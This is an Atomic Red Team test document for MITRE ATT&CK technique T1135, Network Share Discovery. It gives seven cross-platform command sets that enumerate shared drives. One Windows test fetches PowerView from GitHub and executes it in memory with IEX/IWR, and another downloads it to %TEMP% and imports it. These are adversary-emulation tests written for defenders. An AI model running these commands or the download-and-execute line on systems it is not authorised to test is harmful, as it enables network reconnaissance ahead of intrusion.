# T1135 - Network Share Discovery
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1135)
<blockquote>Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. 

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.</blockquote>

## Atomic Tests

- [Atomic Test #1 - Network Share Discovery](#atomic-test-1---network-share-discovery)

- [Atomic Test #2 - Network Share Discovery - linux](#atomic-test-2---network-share-discovery---linux)

- [Atomic Test #3 - Network Share Discovery command prompt](#atomic-test-3---network-share-discovery-command-prompt)

- [Atomic Test #4 - Network Share Discovery PowerShell](#atomic-test-4---network-share-discovery-powershell)

- [Atomic Test #5 - View available share drives](#atomic-test-5---view-available-share-drives)

- [Atomic Test #6 - Share Discovery with PowerView](#atomic-test-6---share-discovery-with-powerview)

- [Atomic Test #7 - PowerView ShareFinder](#atomic-test-7---powerview-sharefinder)


<br/>

## Atomic Test #1 - Network Share Discovery
Network Share Discovery

**Supported Platforms:** macOS


**auto_generated_guid:** f94b5ad9-911c-4eff-9718-fd21899db4f7





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| computer_name | Computer name to find a mount on. | String | computer1|


#### Attack Commands: Run with `sh`! 


```sh
df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}
```






<br/>
<br/>

## Atomic Test #2 - Network Share Discovery - linux
Network Share Discovery using smbstatus

**Supported Platforms:** Linux


**auto_generated_guid:** 875805bc-9e86-4e87-be86-3a5527315cae





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| package_checker | Package checking command. Debian - dpkg -s samba | String | (rpm -q samba &>/dev/null) || (dpkg -s samba | grep -q installed)|
| package_installer | Package installer command. Debian - apt install samba | String | (which yum && yum -y epel-release samba)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y samba)|


#### Attack Commands: Run with `bash`!  Elevation Required (e.g. root or admin) 


```bash
smbstatus --shares
```




#### Dependencies:  Run with `bash`!
##### Description: Package with smbstatus (samba) must exist on device
##### Check Prereq Commands:
```bash
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
```
##### Get Prereq Commands:
```bash
sudo #{package_installer}
```




<br/>
<br/>

## Atomic Test #3 - Network Share Discovery command prompt
Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host
Upon execution avalaible network shares will be displayed in the powershell session

**Supported Platforms:** Windows


**auto_generated_guid:** 20f1097d-81c1-405c-8380-32174d493bbb





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| computer_name | Computer name to find a mount on. | String | localhost|


#### Attack Commands: Run with `command_prompt`! 


```cmd
net view \\#{computer_name}
```






<br/>
<br/>

## Atomic Test #4 - Network Share Discovery PowerShell
Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host
Upon execution, avalaible network shares will be displayed in the powershell session

**Supported Platforms:** Windows


**auto_generated_guid:** 1b0814d1-bb24-402d-9615-1b20c50733fb






#### Attack Commands: Run with `powershell`! 


```powershell
get-smbshare
```






<br/>
<br/>

## Atomic Test #5 - View available share drives
View information about all of the resources that are shared on the local computer Upon execution, avalaible share drives will be displayed in the powershell session

**Supported Platforms:** Windows


**auto_generated_guid:** ab39a04f-0c93-4540-9ff2-83f862c385ae






#### Attack Commands: Run with `command_prompt`! 


```cmd
net share
```






<br/>
<br/>

## Atomic Test #6 - Share Discovery with PowerView
Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.

**Supported Platforms:** Windows


**auto_generated_guid:** b1636f0a-ba82-435c-b699-0d78794d8bfd






#### Attack Commands: Run with `powershell`! 


```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose
```




#### Dependencies:  Run with `powershell`!
##### Description: Endpoint must be joined to domain
##### Check Prereq Commands:
```powershell
if ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
"Join system to domain"
```




<br/>
<br/>

## Atomic Test #7 - PowerView ShareFinder
PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.

**Supported Platforms:** Windows


**auto_generated_guid:** d07e4cc1-98ae-447e-9d31-36cb430d28c4





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| parameters | ShareFinder parameter | String | -CheckShareAccess|


#### Attack Commands: Run with `powershell`! 


```powershell
Import-Module $env:TEMP\PowerView.ps1
Invoke-ShareFinder #{parameters}
```




#### Dependencies:  Run with `powershell`!
##### Description: Invoke-ShareFinder module must exist in %TEMP% directory
##### Check Prereq Commands:
```powershell
if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://raw.githubusercontent.com/darkoperator/Veil-PowerView/8784e33f17ee7543ba2f45e27dc5f08ea3a1b856/PowerView/powerview.ps1" -OutFile $env:TEMP\PowerView.ps1
```




<br/>
